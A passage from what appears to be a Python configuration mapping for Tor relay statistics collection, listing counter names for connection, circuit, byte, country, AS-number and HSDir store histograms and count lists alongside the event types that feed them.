'EntryNoRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionOverlapHistogram' : { CONNECTION_EVENT },
# histograms for country codes that match the first list specified
# byte histograms per connection
'EntryConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOverlapHistogram' : { CONNECTION_EVENT },
# histograms for country codes that don't match the first list specified
# byte histograms per connection
'EntryConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryNoMatchOverlapHistogram' : { CONNECTION_EVENT },
# count lists for country codes that match each list
# the final bin is used for country codes that don't match any list
# simple connection counts
'EntryConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchCountList' : { CONNECTION_EVENT },
# connection counts based on the number of relays sharing the remote address
'EntryNoRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchCountList' : { CONNECTION_EVENT },
# byte counts
'EntryConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchByteCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundByteCountList' : { CONNECTION_EVENT },
# circuit counts
'EntryConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionCountryMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
# histograms for AS numbers that match the first list specified
# byte histograms per connection
'EntryConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOverlapHistogram' : { CONNECTION_EVENT },
# histograms for AS numbers that don't match the first list specified
# byte histograms per connection
'EntryConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchInboundByteHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchOutboundByteHistogram' : { CONNECTION_EVENT },
# circuit count histograms by connection
'EntryConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchInboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchOutboundCircuitHistogram' : { CONNECTION_EVENT },
# connection lifetime histograms
'EntryConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchLifeTime' : { CONNECTION_EVENT },
# the number of simultaneous connections from the same IP address as a histogram
'EntryConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASNoMatchOverlapHistogram' : { CONNECTION_EVENT },
# count lists for AS numbers that match each list
# the final bin is used for AS numbers that don't match any list
# simple connection counts
'EntryConnectionASMatchCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchCountList' : { CONNECTION_EVENT },
# connection counts based on the number of relays sharing the remote address
'EntryNoRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchCountList' : { CONNECTION_EVENT },
# byte counts
'EntryConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchByteCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundByteCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundByteCountList' : { CONNECTION_EVENT },
# circuit counts
'EntryConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchInboundCircuitCountList' : { CONNECTION_EVENT },
'EntryConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryNoRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'EntryRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryNoRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
'NonEntryRelayOnAddressConnectionASMatchOutboundCircuitCountList' : { CONNECTION_EVENT },
# these counters depend on the HSDir store event
# HSDir Store /Add/Reject /Cached/Uncached Count/{Descriptor,Intro}Byte{Count,Histogram}/ReasonCountList
'HSDirStoreCount' : { HSDIR_STORE_EVENT },
'HSDirStoreDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddCachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreAddUncachedReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectDescriptorByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectDescriptorByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectIntroByteCount' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectIntroByteHistogram' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectReasonCountList' : { HSDIR_STORE_EVENT },
'HSDirStoreRejectCachedCount' : { HSDIR_STORE_EVENT },
